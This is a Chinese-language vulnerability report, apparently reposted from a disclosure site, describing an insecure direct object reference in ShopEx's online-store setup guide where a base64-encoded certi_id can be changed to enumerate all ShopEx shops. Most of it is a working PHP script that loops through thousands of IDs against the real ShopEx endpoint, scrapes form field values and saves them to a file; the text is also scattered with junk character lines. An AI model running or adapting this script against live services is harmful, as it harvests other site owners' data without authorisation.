ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
# E4 v- l. ^' s4 L, [/ p2 JShopEx某接口缺陷,可遍历所有网站
8 C  h3 K' Q5 A. Y0 O& S. `" v详细说明：
$ B: W+ g# Y# e2 A0 a) a8 z$ Q问题出现在shopex 网店使用向导页面
/ t/ P# v; O1 q( ]5 ?8 [* `

" o5 j1 |2 j: k  n2 g5 h
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


6 v! _6 m+ y* R! ^0 C) A
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! e- ?' h8 d% P# f


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
4 C5 w) N" d, O, \% E9 x/ }
' L8 S1 E; A" h  {3 E
) ?( v/ e7 w; n0 g5 d
9 S6 k6 F) R- I5 f6 d<?php
- [8 E! v; U/ Y0 L) N
* |0 X8 ~, o( x# y, K                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

: w1 P5 v1 q6 l! [                }

                function ShowshopExD($cid) {
9 G+ @. u1 `3 @! L
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
" @& L0 B2 z5 h. h5 B; c7 B
5 v0 S5 @' ]9 O* |& O; V1 E  \        $url = $url.'?refer='.$refer;
8 h# M0 Q% Z# v, r( f
! w# {1 l! M6 u; L5 g        $ch = curl_init($url);
4 |, d$ m  Z! _9 r% S% p: D# _
* _# t, Z  `7 n4 s: }* N        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
$ e- |* M5 w& T' R: ?* ]
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
& k) x4 k1 f2 C! m
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

: V' K' K3 g: D5 t8 p        {

) g- n* e5 u9 U                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

# s  s+ ^& l+ v9 T6 `# V/ F                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
6 l1 x0 b% u* X6 M+ Z8 ~/ v
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
  w4 l8 C3 [: a
                        fwrite($fp, $col, strlen($col));
0 O6 s- ^; \9 b, r0 n
                }

                echo '--------------------------------'."\r\n";

0 c) g" X, g1 M. Y                fclose($fp);

# q$ ], z+ C2 |! ]( y9 p        }

2 M, N, r' G% d( N9 u' e        flush();

        curl_close($ch);

: _& }1 }5 c$ J1 s" A, U                }

?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
! `; J$ {) S* z6 |6 `, U